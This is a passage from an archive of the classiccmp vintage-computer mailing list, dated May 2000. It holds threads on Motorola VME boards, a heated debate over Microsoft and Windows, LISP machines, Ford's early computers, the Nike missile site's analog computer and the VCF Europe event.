01:45 PM 5/7/00 -0700, Bruce Lane said something like: >Hi, folks, > > Got some good ones here. Recent acquisition activity has >netted me a nice Motorola MVME945B chassis stuffed full of >cards. Any docs or data I can get on said chassis would be most >welcome. Jumper diagrams are what I need the most. Good catch! This is a really nice crate. Has a 400W switching PSU. Any mass storage in it? Jumpers are the bus grant string. I have a 945 manual buried (and I mean buried!) somewhere up in the library. Hopefully, another listmember can dig his/hers out sooner but if you don't get any info in a week or so, tell me and I'll find a day in which to hunt my 945 manual up. > > In addition, I have some boards here that I don't recognize, >including: > > MVME372A (three of 'em). Here's some info from my Moto sales literature collection: This is called an Advanced MAP Controller. (Oh, what was that MAP acronym . . . Manufacturing Protocol . . . ??) MAP was a concept used to network computers in a factory, to interlink them within a particular machining cell and to link them with the company production control department, etc. The MAP computers in a manufacturing cell would typically be machine controllers or data collection/crunching boxes. Other uses too IIRC. This 372A is the front-end processor which consists of a 68020 CPU, 68824 token bus controller, 640 k RAM (not much needed here as resources I think were distributed over the network). MAP uses some sort of MODEM which had a very high bitrate (1 MHZ? 10 MHz? Can't recall now) Coaxial cable was the medium over which communications were carried. If you had Moto's UNIX System V/68 R2 running on this box (which I suspect had been) plus other boxen with MAP components, then you could play with it a bit I suppose. I don't recall too much about this protocol nowadays as it was too high falutin for my relatively small company and I didn't investigate in any depth whatsoever. Not sure if it fizzled or was absorbed into any other industrial communication protocol. I just didn't have time back in the mid-80's to study MAP. I think MAP came into use around 1981/82. What is the main CPU module in this crate? A '147 of some flavor? What're the remaining modules? > MVME333-2 (one) This is an Intelligent Serial Interface. Has six RS232/RS422 serial ports, 9600 baud max, and uses a 68010 processor and 512 k RAM. Four channel DMA on two of the ports, can xfer up to 1 Mbit per sec on on channel. This can be an application specific module in that it has firmware options for 3270 SNA & BSC, 3770 RJE SNA, etc. I think my Moto CODEC modules I got at Dayton a year ago are actually 333-2 modules. BTW, anybody got any Moto CODEC tech info and literature from those days? > > I seem to recall, from my field service days at Motorola, that >the big 'M' published a field engineer's guide that showed specs >and jumper assignments for the entire MVME line. Perhaps I can >snare one of these? I'd like to snare one too!! Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.antiquewireless.org/ From edick at idcomm.com Sun May 7 20:42:38 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' References: <200005072315.TAA09354@bg-tc-ppp36.monmouth.com> Message-ID: <000d01bfb88e$b3d7e2c0$0400c0a8@winbook> please see my remarks embedded below. Dick ----- Original Message ----- From: Bill Pechter To: Sent: Sunday, May 07, 2000 5:15 PM Subject: Re: I wrote 'Nuke Redmond' > > Almost on the mark, but see my remarks below. > > > > Dick > > ----- Original Message ----- > > From: Wayne M. Smith > > To: > > Sent: Sunday, May 07, 2000 12:12 AM > > Subject: Re: I wrote 'Nuke Redmond' > > > > > > All the talk about the browser market is a red herring. Internet Explorer > > was never a product separate from Windows. > > Wrong.,. It was in the 95 PLUS pack an add on product I spent extra > for. IE2 really sucked. It was basically a badly reworked Mosaic. > The v3 product was pretty good... however. > The Netscape version of the time openly credited its origins to MOSAIC, which, by the way worked OK, too, but, like Netscape, required a WINSOCK be provided. > > > It was a part of the OS utility package called PLUS! > > Yup. Which was SEPERATE from Win95 and not available for download until > Netscape was taking off and Bill Gates had the internet epiphany.., > Now, isn't that what I previously wrote, that it was on the PLUS! disk? None of the applications and utilities on the PLUS disk worked anywhere other than under '95, so I doubt you'd classify them as separate applications. The wouldn't even run under the '95 beta versions I had. The utilities on the PLUS! disk weren't ready for publication until the OS was released, while the OS had probably been put off three months waiting for the utilities. Aside from IE, the System Agent was and is probably the most important feature. Drivespace3 is another feature that wasn't ready until the last minute. Both of the latter two are pretty handy. I'd had Netscape almost a year before the official release of Win95. Of course, I'd also had IE, but that didn't work particularly well, since there wasn't much interest in it at the time. The Netscape was for Win3.1 with the Win32S extensions. Of course, back then, only a few of the available ISP's supported PPP and SLIP, while most allowed shell access only. If you wanted to surf the few sites on the web, you could do that via LYNX or, if your provided would allow it, you could use ICOMM, which worked from the shell. Neither NETSCAPE nor IE were as convenient as the NETCOM browser, NETCRUISER, which was pretty well debugged and almost convenient to use. The IE of the time would run on some Win95 beta versions, but it was ready for prime time much later than the OS was. Nevertheless, the two were released at more or less the same time. The IE for Win3.1x was released about a half-year later. > > > Internet Explorer always was a part of the Windows 9x package. Netscape, > > OTOH, was a commercial product intended for sale, but initially offered > > gratis to individual users. > > Nope, it was only 3.x of IE that was a download. > > > HOWEVER . . . they did have to purchase the > > WINSOCK from a third party, i.e. Trumpet, in most cases. This was never the > > case with Internet explorer. > > Nope Winsock and Networking was a direct part of Win95, WinNT etc. > It was an addon to Win3.1. Most of us used Trumpet until the IE3 > package added all the goodies. > I believe you've confused the two products to which I referred. NETSCAPE is the one that was a free download and for which you needed the third-party WINSOCK. IE was always complete and working. And v3.01 was on the PLUS! CD. Release 3.1 was a download as were all the subsequent releases. > > > Only after Internet Explorer became as popular > > as it did under '95 did Microsoft release the "made for WIndows 3.1x" > > version, also at no charge, but complete with its own WINSOCK and the 32-bit > > runtime libraries it needed for operation under the 16-bit OS. > > Yup The Win9x version was about 6 months to a year ahead of the Win9x > version. > What? > > > > > In the meantime, IBM had acquired LOTUS, primarily in order to take over the > > Lotus Notes program. With the spread of Netscape, people found that > > Netscape would replace Lotus Notes quite easily, hence IBM quickly acquired > > them, only to distance themselves from it later, in order to APPEAR to be an > > outsider to the conflict which I'm quite certain they actually scripted, and > > which is now being played out in the courts. > > Well, they rather quickly realised Notes Servers needed web > accessibility so Domino became a hot upgrade to Notes Server and Client. > > > > > Unfortunately, there does appear to be evidence that MS overreached its > > rightful position in the industry, giving their applications developers an > > advantage by giving them information they didn't publish as part of the > > standard API. That was an anticompetitive act, and should be reversed in > > some way. > > Yup. > > > > Many people think that lobotomizing MS would help the industry. I am not > > among them, however, because, at least for now, MS is the only organization > > capable of mustering the talent and resources to generate application > > software that pretty much functions as it should within the framework of > > this extremely complex OS. > > > > Believe me, I think the appllications could be done by hundreds of > companies -- if the MS apps folks were divorced of early access to the > API's the lead MS got over everyone else would dissapear. > Out of all the applications I saw, for Win3.1x and for '95, only one or two that I saw worked at all well, with the exception of those put out by Microsoft. I simply disposed of WordPerfect once I saw their Windows version. AmiPro, though better than WordPerfect for WIndows, was obviously not up to what WinWord v2.0 was. Only a few vendors, notably Corel and the guys who made Procomm Plus for WIndows, particularly v1.0 seemed to have a real grasp of how to build Windows applications that really worked. Corel apparently hasn't forgotten how, but I doubt their attempt to revive WordPerfect will last. > > > Even if someone else could do it, which I seriously doubt, it's unlikely > > anyone can come up with an OS capable of competing against Windows, if the > > same tests are to be applied that have been used to determine MS' practices > > monopolistic or anticompetitive. If the complete source code for Windows is > > to be mandated by the courts to be made available to anyone who wishes to > > write applications for Windows, MS is correct in demanding that the code be > > released only to companies who, including all their employees as > > individuals, be barred for a period of, say, ten years, from participating > > in the production of any operating system which might be used as a > > competitor to Microsoft's OS products, including the drivers, utilities, or > > ancillary programs, e.g. a browser. > > > Actually, if there was a GUI like the IBM Workplace Shell from OS/2 > available on FreeBSD, Linux, Solaris, etc there could be some > competitive apps. Right now I'm watching Koffice and the KDE stuff and > really enjoying WordPerfect Office 2000 on Linux. > > > > If they're to "fix" this thing in a permanent way, then they will have to > > legislate a solution which would require that no person involved in the > > development of any major software product be permitted to communicate with > > anyone else, not his/her spouse, offspring, superiors or subordinates, > > except in permanently recorded written form for a period not less than five > > years beyond the end of the economic life of that product. I doubt that > > will happen. > > > > Nope. Make the OS vendor, the Tooks vendor and the Desktop apps vendor > diferent companies and let the fun begin. > Tooks? > > I bet there would be an MS Office for Unix in about 6 months. > I also think they would see Borland tools back in the windows area > if they had the same API info as the Visual-whatever folks. > You really believe MS would waste its time producing Office for UNIX? That's rather a small market. Of course, since they already have all the code . . . > > IBM's stuff might even expand their toolsets even further. > > Bill > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > From allisonp at world.std.com Sun May 7 20:40:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:34 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before Message-ID: <029801bfb88e$9fe958c0$7464c0d0@ajp166> >But until the Vax is available at Intel prices and reliablity (the old >VS3100's and uVaxII's are getting a bit long in the tooth for joe >consumer -- and the disks are now creaky)... What disks creaky? They run with newer stuff. But no any os that has the VMS/Unix admin requirements is not consumer friendly anyway. Unix or VMS or even NT the aim is the same for someone like me. That is to get the user out of the core system where they have no business. Now the problem is that w9x et al has become pervasive any new OS one might introduce has to work and play well in that space, thats a PITA! Linux is ok, I've got Caldara OpenV2.3 and it's not faster than W95 and it uses just as much space, it aquired all the bloat win has. the advantage is it's got security. The down side is now you have a user that can't use word documents and excel spread sheets without conversion. Sharing files is easy if you fire up samba and try to explain "mounting" so someone that can nearly say CPU. Thats the problem with better. Allison From jhfine at idirect.com Sun May 7 22:01:33 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:51:34 2005 Subject: OT: Re: Welcome to classiccmp References: <200005080257.VAA05197@opal.tseinc.com> Message-ID: <39162E0D.B5383A89@idirect.com> >majordomo@classiccmp.org wrote: > Welcome to the classiccmp mailing list! Jerome Fine replies: Hi all, just wanted to confirm to myself that I am back on the list. From wvh at gethip.com Tue May 2 03:53:40 2000 From: wvh at gethip.com (Bill von Hagen) Date: Sun Feb 27 18:51:34 2005 Subject: Looking for LMI LISP Machines In-Reply-To: References: <4.3.1.2.20000501152408.00d61ae0@mail.city-net.com> Message-ID: <4.3.1.2.20000502044006.00b9cd70@mail.city-net.com> Perhaps a PERQ was not a LISP machine if hardware support for LISP and supporting services such as garbage collection is your criteria, but a workstation whose primary function was running LISP at that time seems to me to count, especially given that a microcoded LISP environment provides opportunities for low-level machine optimization for LISP along the same lines as other systems' hardware mods. Certainly the folks who spun off ETI from PERQ Systems to do AI work would have disagreed with you (though they quickly moved to TI Exploders as the PERQs quickly demonstrated themselves to be an evolutionary dead end). Much early CMU Common LISP work (then known as Spice LISP) was done on PERQs and then ported to other platforms after their demise. Spice LISP on PERQs was one of the LISP environments benchmarked in Gabriel's "Performance of Lisp Systems" (1985) along side the Symbos, LMI boxes, MIT CADR, etc, though to be fair, others included Franz Lisp, VAX Common LISP and Data General LISP. Bill At 06:53 PM 5/4/00 +0100, you wrote: > > have working samples of most/all of the other classic LispMs (PERQs, TI > >Hmm... While there certainly was a (microcoded) Lisp for the PERQ, I am >not sure I'd call the machine a 'lisp machine'. There was no hardware >support for lisp in the sense that the true Lisp Machines provided it. > >-tony From spc at armigeron.com Sun May 7 23:27:26 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <002c01bfb84e$32d2d120$0400c0a8@winbook> from "Richard Erlacher" at May 07, 2000 11:59:39 AM Message-ID: <200005080427.AAA22857@armigeron.com> I'm replying to several messages, all by Richard Erlacher, here in one message: > I'm often puzzled by the complaints about "crashes" under Win9x and NT. > My notebook, running Win95, hasn't crashed, although it's been in almost > constant use since early '97 when I bought it. Now, the machines into > which I routinely stick cards that may or may not work, along with > products that may or may not work, both hardware and software, . . . well, > they have had other histories, but it's seldom Microsoft software that's > to blame for that. And I've run Win95 for a year with no problems. It wasn't until Microsoft Office was installed on the machine did it lock up and I wasted two days trying to reinstall Win95, from scratch, before giving up and going to Linux so I could continue my job. Hardware didn't change. Just the addition of Microsoft Office. > I've never bought a license for a DEC OS, but I doubt it cost under $100. > There are Linux versions one can buy in ready-to-install form for under > $100, but those will cost $1M, at least, at 50-cents-an-hour before > they're working properly and that's only if you're a real *nix expert. > What's more, NO *nix version offers the features that make the Win9x > desirable for home computer use. There are lots of books out there for > *nix users, but I've yet to see a "{insert vendor name here} Office for > Dummies" book for LINUX, though I hear there is a "LINUX for Dummies" book > out there. So I assume that the *only* use a home computer is used for is for office suite software. Okay. Now, how much damage did the ILOVEYOU virus do? How much will it cost to fix the damage that ILOVEYOU virus did? More to the point (not really using any office suite program) the major attraction of an office suite is that the different applications can embed files from each other into a single document, right? That you can take a spreadsheet (or portion thereof) and embed it into a word processor document. Am I correct in that? There's nothing inherent in the design of Windows that precludes such from being done in other systems, other than a lack of economic insentive and the fear of bring the wrath of Microsoft down upon you and being crushed out of existance (aside: Cisco has as much, if not more, control in the router industry as Microsoft in software yet aren't nearly as hated as they make very good products and when they buy out a company, they tend to actually use the technology they bought out. Microsoft has a hit-or-miss reputation with software reliability and even when they buy out a company they are equally likely to sink the technolgy as they are to market it). > Many people think that lobotomizing MS would help the industry. I am not > among them, however, because, at least for now, MS is the only > organization capable of mustering the talent and resources to generate > application software that pretty much functions as it should within the > framework of this extremely complex OS. I doubt that. The free BSDs or Linux is a good counter example. And if you wish to discount the operating system, there is Apache. And if you wish to discount servers, the GIMP. While it isn't up to the functionality of Photoshop it certainly does anything a home user would want it to do. Nature abhoors a vaccum and if Microsoft is gone, it will be filled in rather quickly. Ding dong the witch is dead and all that. > Even if someone else could do it, which I seriously doubt, it's unlikely > anyone can come up with an OS capable of competing against Windows, if the > same tests are to be applied that have been used to determine MS' > practices monopolistic or anticompetitive. I don't follow your logic here. Which tests are you referring to? Outside of marketing, there is no technical reason why a Windows-like (or Mac-like) graphical user interface can't be built upon X Windows (the primary graphic sub-system used on Unix workstations) and applications built to that interface. Embedding documents into other documents isn't dependant upon the underlying operating system---OLE, COM and DCOM are interface and data exchange/understanding issues, not operating system dependant issues. > If the complete source code > for Windows is to be mandated by the courts to be made available to anyone > who wishes to write applications for Windows, MS is correct in demanding > that the code be released only to companies who, including all their > employees as individuals, be barred for a period of, say, ten years, from > participating in the production of any operating system which might be > used as a competitor to Microsoft's OS products, including the drivers, > utilities, or ancillary programs, e.g. a browser. Why? Such draconian measures would be such that you might not get very many companies (or programmers) willing to even consider such a deal. > If they're to "fix" this thing in a permanent way, then they will have to > legislate a solution which would require that no person involved in the > development of any major software product be permitted to communicate with > anyone else, not his/her spouse, offspring, superiors or subordinates, > except in permanently recorded written form for a period not less than > five years beyond the end of the economic life of that product. I doubt > that will happen. Again, why do you think this? > Well, we may get to see whether the courts come up with a prudent and > reasonable solution. The obvious solution to break up MS won't help, but > it will serve to octuple the cost of both software and hardware. It will > set back the industry a decade as it tries to find a substitute for MS in > a market where really only one OS and Office automation suite is going to > be effective. If you don't see that through your haze of rage at > Microsoft for doing something you weren't smart enough or diligent enough > to do yourself, then perhaps you can come up with a potential successor OS > to WIndows. Remember, though, that if MS simply closed its doors tomorrow, > it wouldn't harm MS as much as it would harm the end user. Personally, I feel that the two worst things to happen to our industry have been Unix and Microsoft. I won't go into why I think Unix is bad, but Microsoft has definitely kept the industry back technically, if only with entrenching the poor design of the IBM PC as a standard for nearly 20 years. Hell, if this sets the industry back 20 years that'll be the best thing to happen! Imagine, decent hardware! Software that actually works! Less slavish reliance on computers! That's bad? Another bad aspect of Microsoft is the proliferation of file formats. Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is imcompatible with Microsoft Word 98 format is imcompatible with Microsoft Word 2000 format. Sure Microsoft MAY make a utility available for upgrading the document but they don't make it easy and heaven forbid you find a cache of documents seven years old in the backups that is in Word 6 format. It's not hard to create a file format that is extensible, nor forward and backward compible. To bring this back to topic, I have extensive documentation on IFF, initially designed and documented in 1986 for the creation of files that can be extensible and forward/backward compatible, such that a document created with a program now can be opened with a program written 10 years ago and have it not crash (or at least be able to do something with the file and not loose the extra information). And it certainly doesn't take one megabyte to store a single page of information. That is just plain insane. > jpero@pop.cgocable.net > > > What I was thinking of is a untoucheable and invisible OS and for > > managing data is data users created only. Applications and any little > > utils, drivers and hardware all are seen as "modules". Drivers and > > hardware go hand in hand and is therefore as hardware module set. For > > applications and small utils, they would be software modules. > > That would be a WONDERFUL idea ... an OS distributed on ROM. I trust > you'll start on that immediately. Again, to bring this back on topic, there have been plenty of operating systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were all contained in ROM, were/are ROMmable and extensible. And all are older than 10 years old. Even MS-DOS came in ROM format for some computers (although I'm not sure if it ran out of ROM, or was copied to RAM before running). -spc (Have you actually USED anything other than Microsoft products?) From xds_sigma7 at hotmail.com Mon May 8 00:27:16 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:34 2005 Subject: Ford's '60s computer? Message-ID: <20000508052717.5112.qmail@hotmail.com> Umm, just a guess, but I would imagine in the late 50's/early 60's they probably had a Philco 2000 of some sort, since Philco was/is a division of Ford... And yes, they were later a Multics shop, up into about the mid to late 80's or so, I think. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From pbboy at mindspring.com Mon May 8 00:53:13 2000 From: pbboy at mindspring.com (Robert) Date: Sun Feb 27 18:51:34 2005 Subject: Ford's '60s computer? References: <20000508052717.5112.qmail@hotmail.com> Message-ID: <39165649.2B40D0D7@mindspring.com> That's interesting... Ford was making computers.... I did a search for Philco and all I could find was stuff about radios and a timeline of computers, nothing descriptive. It shows the Philco 2000 at 1957, and no other mention after that. Nothing about Multics either.Where can I find info on the Philco and Multics? Will Jennings wrote: > Umm, just a guess, but I would imagine in the late 50's/early 60's they > probably had a Philco 2000 of some sort, since Philco was/is a division of > Ford... And yes, they were later a Multics shop, up into about the mid to > late 80's or so, I think. > > Will J > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From fmc at reanimators.org Mon May 8 01:32:16 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: Jim Strickland's message of "Sun, 7 May 2000 18:55:32 -0600 (MDT)" References: <200005080055.SAA32090@calico.litterbox.com> Message-ID: <200005080632.XAA57519@daemonweed.reanimators.org> Jim Strickland wrote: > Ok, I'm a dolt. I get 4 mailing lists, 3 are about BeOS and this one. If > my comments about Gobe Productive, etc, don't make any sense, it's because > they're BeOS specific - it's been a busy day and I mixed up what group I was > writing to. Sorry. Oh, you get M*cr*s*ft advocacy and chatter about this week's VBScr*pt/W*rd macro "virus" on your other mailing lists too, so you can't tell the difference between them anymore either? You have my sympathies. -Frank McConnell From jim at calico.litterbox.com Mon May 8 02:10:28 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080632.XAA57519@daemonweed.reanimators.org> from "Frank McConnell" at May 07, 2000 11:32:16 PM Message-ID: <200005080710.BAA00707@calico.litterbox.com> Yeah, although the posts tend to gloat more. > > Jim Strickland wrote: > > Ok, I'm a dolt. I get 4 mailing lists, 3 are about BeOS and this one. If > > my comments about Gobe Productive, etc, don't make any sense, it's because > > they're BeOS specific - it's been a busy day and I mixed up what group I was > > writing to. Sorry. > > Oh, you get M*cr*s*ft advocacy and chatter about this week's > VBScr*pt/W*rd macro "virus" on your other mailing lists too, so you > can't tell the difference between them anymore either? You have my > sympathies. > > -Frank McConnell > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jpero at cgocable.net Sun May 7 22:21:10 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080427.AAA22857@armigeron.com> References: <002c01bfb84e$32d2d120$0400c0a8@winbook> from "Richard Erlacher" at May 07, 2000 11:59:39 AM Message-ID: <200005080716.e487GHr23000@admin.cgocable.net> > From: "Sean 'Captain Napalm' Conner" > Subject: Re: I wrote 'Nuke Redmond' > To: classiccmp@classiccmp.org > Date: Mon, 8 May 2000 00:27:26 -0400 (EDT) > Reply-to: classiccmp@classiccmp.org > > I'm replying to several messages, all by Richard Erlacher, here in one > message: > > > I'm often puzzled by the complaints about "crashes" under Win9x and NT. > > My notebook, running Win95, hasn't crashed, although it's been in almost > > constant use since early '97 when I bought it. Now, the machines into > > which I routinely stick cards that may or may not work, along with Hi, > Now, how much damage did the ILOVEYOU virus do? How much will it cost to > fix the damage that ILOVEYOU virus did? 3 weeks ago, relative's machine dual HDs contents went poof and all I go on with their history that was playing the bingo on web when it happened. I suspected virus. I pressed for more info but they couldn't come up with something that they might have unwittingly brought in virus. :-( Snip Snip > I doubt that. The free BSDs or Linux is a good counter example. And if > you wish to discount the operating system, there is Apache. And if you wish > to discount servers, the GIMP. While it isn't up to the functionality of > Photoshop it certainly does anything a home user would want it to do. Ditto, I doubt M$ to produce decent s/w and OSes and there's the wide range of confirmed reputations that said M$ pulled fast and dirty tricks to "break" other non-M$ stuff if they feel like it. There's the bloat, win2k weighs in over 440MB installed and requires gobs of ram and 500+MHz cpu to perform. Kernel itself on that Linux is OS and fits on one 1.44MB disk. XFree86 is much smaller and responds quicker. There is at least 3 or 4 different Xwindows for linux. > > Nature abhoors a vaccum and if Microsoft is gone, it will be filled in > rather quickly. Ding dong the witch is dead and all that. Exactly. There will be lot of suing and heavy shake-out in industry grabbing remains to get documentations to convert their M$-produced over to non-M$ formats. > > > Even if someone else could do it, which I seriously doubt, it's unlikely > > anyone can come up with an OS capable of competing against Windows, if the > > same tests are to be applied that have been used to determine MS' > > practices monopolistic or anticompetitive. > > I don't follow your logic here. Which tests are you referring to? Oh yes, Wine for linux. Windows emulator. > Outside of marketing, there is no technical reason why a Windows-like (or > Mac-like) graphical user interface can't be built upon X Windows (the Exactly, OS is just that OS. Apps and drivers runs on top of that OS. But M$ look at this differently and force us to take IE with win98. This I do not want to have on mine, I think this is major source and share of other problems by some other M$ stuff problems before the CIH virus came. > > > If the complete source code > > for Windows is to be mandated by the courts to be made available to anyone > > who wishes to write applications for Windows, MS is correct in demanding Snip > Why? Such draconian measures would be such that you might not get very > many companies (or programmers) willing to even consider such a deal. Court would see that clearly and will say denied to M$ demand if court orders Windows open-sourced. I think. Snip > > except in permanently recorded written form for a period not less than > > five years beyond the end of the economic life of that product. I doubt > > that will happen. Again whom to do this, M$? 5 yr is short. 10 is about right, better yet, 15. > > Again, why do you think this? Snip > > > Personally, I feel that the two worst things to happen to our industry > have been Unix and Microsoft. I won't go into why I think Unix is bad, but > Microsoft has definitely kept the industry back technically, if only with > entrenching the poor design of the IBM PC as a standard for nearly 20 years. > Hell, if this sets the industry back 20 years that'll be the best thing to > happen! Imagine, decent hardware! Software that actually works! Less > slavish reliance on computers! That's bad? This is about to change already, leagcy-free machines for windows IS coming out. No ISA, PCI, PS/2 ports, IDE, etc, just USB and firewire. Who has the two monoplies in this? Intel for this chipsets and M$ for OS and stuff. > Another bad aspect of Microsoft is the proliferation of file formats. > Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is Snip, this one is clearly breaking communication standards. In old days, ASCII was the rule and anyone could share the data easily with some conversion if required. M$ broke this idea and locked in users to windows and their buggy s/w, some s/w made for minority HW (Apple for example) because of this. > It's not hard to create a file format that is extensible, nor forward and > backward compible. To bring this back to topic, I have extensive > documentation on IFF, initially designed and documented in 1986 for the > creation of files that can be extensible and forward/backward compatible, > such that a document created with a program now can be opened with a program > written 10 years ago and have it not crash (or at least be able to do > something with the file and not loose the extra information). That is what I wanted to see because I often hit this wall when I need certain documentations and that one was made with old Word or works and I can't use it because M$ readers took a dare and said "Eek, too old!" in my face when I tried to open them. > > And it certainly doesn't take one megabyte to store a single page of > information. That is just plain insane. Appox 1K in ascii. > > > jpero@pop.cgocable.net > > > > > What I was thinking of is a untoucheable and invisible OS and for > > > managing data is data users created only. Applications and any little > > > utils, drivers and hardware all are seen as "modules". Drivers and > > > hardware go hand in hand and is therefore as hardware module set. For > > > applications and small utils, they would be software modules. > > > > That would be a WONDERFUL idea ... an OS distributed on ROM. I trust > > you'll start on that immediately. > > Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were > all contained in ROM, were/are ROMmable and extensible. And all are older > than 10 years old. Even MS-DOS came in ROM format for some computers > (although I'm not sure if it ran out of ROM, or was copied to RAM before > running). Most of these user interfaces listed, (did tried them in my travels, they're great for nerds and common-sense clueful users but downright scary and mind-boggling to most), is not good enough for IQ-impaired people who basically understood what it is if presented in a way like the Myst and Riven, "The Crystal Key" interface style. I-opener came very close to what I talked about because I was there on their website. Missing part is doesn't large enough HD and way to add software in understandable manner. This is best to remove the OS from user interface equation focus on hardware modules and software modules interfaces, software frequently too large to fit on largest flash cards. If one pop a cd or future solid holographic storage crystal into said machine I referred to. Then this software installs itself automatically and software module appears where empty socket was without any part on user's. The cd/crystal is now removed and that module remains in that machine. That is why simple devices kept selling: typewriters, simple s/w like works, phones, external fax machines, copiers, electronic appointment organizers, N64/PSX etc. > -spc (Have you actually USED anything other than Microsoft products?) Yes. Wizard From mranalog at home.com Mon May 8 02:14:35 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:51:35 2005 Subject: Ford's '60s computer? Message-ID: <3916695B.1BDEB146@home.com> Robert said: > Does anyone know what computer Ford Motor Company used in the 1960's? > I've read that Shelby used a computer to find the proper location for, > among other things, the upper control arm on the '65 Mustang for his > GT350 and used one to help design most, if not all, of his other > creations' critical parts. I've searched IBM (must've been IBM!) and > Ford and came up with nothing. Although IBM's timeline has the 608 It sounds like you're asking what computer Caroll Shelby used? As I understand it Ford built the cars then they were modified at Shelby's company, Shelby American, in L.A. You might try asking the Los Angeles Shelby American Automobile Club,http://www.lasaac.org/ or ask at Carroll Shelby official web page,http://www.carrollshelby.com/ --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From mranalog at home.com Mon May 8 04:03:20 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:51:35 2005 Subject: Nike analog computer Message-ID: <391682D8.C7F3232F@home.com> Today beening the first sunday of the month, I finally went to see and to take some pictures of a historically important, but virtually unknown type of analog computer. Just north across the Golden Gate bridge is a beautiful protected area of rolling hills with biking and hiking trails, but honeycombed with tunnels and overgrown gun emplacements dating back to the 1870's. This area called the Marin Headlands is also the location of SF-88, the only one of 300 Nike missle sites to be restored for public viewing. They have a great web site and you can read about the rest of the site, but today I was interested in the control vans. One contains the electronic and controls for the radars that tracked the missle and the target. The other van contains the launch control panel and the "intercept computer", a Western Elecric electronic analog computer that occupies 4 equipment racks. This analog computer guided the missile after launch using radar inputs to intercept the target and maded the idea of a anti missile deterrent a reality. The missile site operated from 1955 to 1974 when it was turned over to the National Park Service. But before 1955 many scientists believed that a missile could never intercept another missile (they said, would be like "hitting a bullet with another bullet."). In 1955 Bell Telephone Laboratories completed 50,000 simulated intercepts of ballistic missile targets using an analog computer indicated that it was possible to hit a missile with another missile. Today, I took a bunch of pictures. They had the launch control panel powered up. Lots of multi-colored buttons, and above the panel is the plotter, you may have seen in the movies, with the two pens that slowly move closer and closer until they touch as the missile hits it's target. http://www.jps.net/ethelen/t_acqconsole.html A couple of pictures of the computer: http://www.jps.net/ethelen/t_acqconsole.html Take your own tour on-line: http://www.jps.net/ethelen/t_tour.html Nike sites in your state or country: http://www.jps.net/ethelen/appndx_b.html --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From mikeford at socal.rr.com Mon May 8 02:55:27 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:35 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001301bfb84c$99c1bf60$0400c0a8@winbook> References: <200005070402.AAA24938@armigeron.com> <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> Message-ID: >All the talk about the browser market is a red herring. Internet Explorer >was never a product separate from Windows. It was a part of the OS utility >package called PLUS!. In Win98, it was integrated into the OS becauseit was >the tool for viewing the help files, among other things. Wow, your view is much different from mine. Read the history of the turn of the century and the mess industrial revolution monopolies made of things, and tell me MicroSoft is ten cents different. We have MS trains running on MS tracks carrying MS cargo, wake up. From Hans.Franke at mch20.sbs.de Mon May 8 08:42:03 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:51:35 2005 Subject: VCF Europe? In-Reply-To: References: <3.0.5.32.20000505091910.007b8760@mail.wincom.net> Message-ID: <200005081142.e48Bgtr23001@mail2.siemens.de> > > Has anyone had a progress report on happenings at the VCF Europe? > Too much jaegermeister for anybody to be typing this soon. At the moment I'm waiting for the pictures to pour in... And I hope to set up the Post-VCFe Pages ASAP - maybe even within this week (no promise, no gurantee, no nothing :) Servus Hans Ü.S.: it's been great fun! -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From Hans.Franke at mch20.sbs.de Mon May 8 08:42:03 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:51:35 2005 Subject: VCF Munich! In-Reply-To: <200005071803.LAA04452@siconic.com> Message-ID: <200005081142.e48Bgsr22998@mail2.siemens.de> > I just returned home from my voyage to Munich for the VCF 1.0e and I > am happy to report that it went rather well, in fact as well as expected. > A little over 100 people came through over the course of the weekend. Don't make it smaller - we had between 155 and 170 visitors (155 are counted, but at least a dozend sliped thru open doors along the hallway). > There were some great exhibits, including a complete 